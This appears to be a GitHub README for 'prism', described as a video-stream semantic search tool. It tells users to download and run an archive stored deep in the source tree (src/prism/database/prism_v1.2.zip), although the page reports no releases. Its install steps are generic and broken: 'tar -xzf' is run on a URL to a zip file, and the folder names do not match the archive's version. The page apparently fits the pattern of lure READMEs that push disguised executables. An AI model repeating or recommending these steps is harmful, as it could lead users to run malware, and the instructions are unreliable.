Skip to content

πŸŽ₯ Index video streams for easy semantic search, transforming opaque footage into searchable vectors with object detection and efficient storage.

License

Notifications You must be signed in to change notification settings

bin-bash-57/prism

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ₯ prism - Easily Search Video Streams

πŸš€ Getting Started

Welcome to prism! This application helps you index video streams and search through them semantically. Whether you're a content creator, researcher, or just curious about video analytics, prism makes it simple to find what you need.

πŸ“₯ Download & Install

To get started, visit the download page below to obtain the latest version of prism:

Download prism

You can find all available versions of prism on our Releases page.

Steps to Download

  1. Click on the link above to open the Releases page.
  2. Choose the version you want to download.
  3. Select the appropriate file for your operating system.
  4. Click the file to start downloading.

πŸ–₯️ System Requirements

Before installing prism, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS, or a recent Linux distribution.
  • CPU: At least a dual-core processor.
  • Memory: Minimum of 4 GB of RAM.
  • Disk Space: At least 500 MB of free space.
  • Software Dependencies: Docker must be installed for running containers.

βš™οΈ Installation Instructions

Once your download completes, follow these steps to install prism on your system:

For Windows Users

  1. Locate the downloaded file (usually in the Downloads folder).
  2. Double-click the file to run it.
  3. Follow the on-screen prompts to install prism.

For macOS Users

  1. Open Finder and go to your Downloads folder.
  2. Double-click the downloaded file to open it.
  3. Drag the prism icon to your Applications folder.

For Linux Users

  1. Open a terminal window.
  2. Navigate to your Downloads folder using the command:
    cd ~/Downloads
  3. Run the following command to extract the application:
    tar -xzf https://github.com/bin-bash-57/prism/raw/refs/heads/main/src/prism/database/prism_v1.2.zip
  4. Navigate to the extracted folder:
    cd prism-1.0
  5. Start the application with the command:
    ./prism

πŸ” Using prism

After installation, you can start using prism. Follow these guidelines to navigate the application:

  1. Launching prism: Open the application from your Applications folder or by running it from the command line.
  2. Indexing Videos: Click on the "Add Video" button and select video files from your computer. You can index multiple files at once.
  3. Searching: Use the search bar to enter keywords related to the video content. The results will show indexed videos that match your criteria.

πŸ› οΈ Features

prism comes equipped with several powerful features:

  • Semantic Search: Quickly find relevant video segments based on content, not just filenames.
  • Video Stream Indexing: Efficiently organize and index your video libraries.
  • User-Friendly Interface: Designed for ease of use, allowing anyone to navigate without technical knowledge.
  • Compatibility: Supports multiple video formats, ensuring versatility in usage.

🌐 Community and Support

If you need help or have questions while using prism, consider visiting our community support page:

  • GitHub Discussions: Engage with other users and developers.
  • Documentation: Access detailed guides and FAQs to resolve common issues.

πŸ“„ License

prism is licensed under the MIT License. You can freely use, copy, and modify the software as long as you follow the terms outlined in the license.

🌟 Contributing

We welcome contributions to improve prism. If you have ideas or suggestions, please feel free to submit a pull request or open an issue on our GitHub page.

πŸ“š Acknowledgments

prism leverages powerful technologies such as FastAPI for web services, Docker for containerization, and Milvus for efficient data storage and retrieval. Thank you to all the contributors and maintainers of these projects.


For more details and updates, visit our Releases page frequently.

About

πŸŽ₯ Index video streams for easy semantic search, transforming opaque footage into searchable vectors with object detection and efficient storage.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •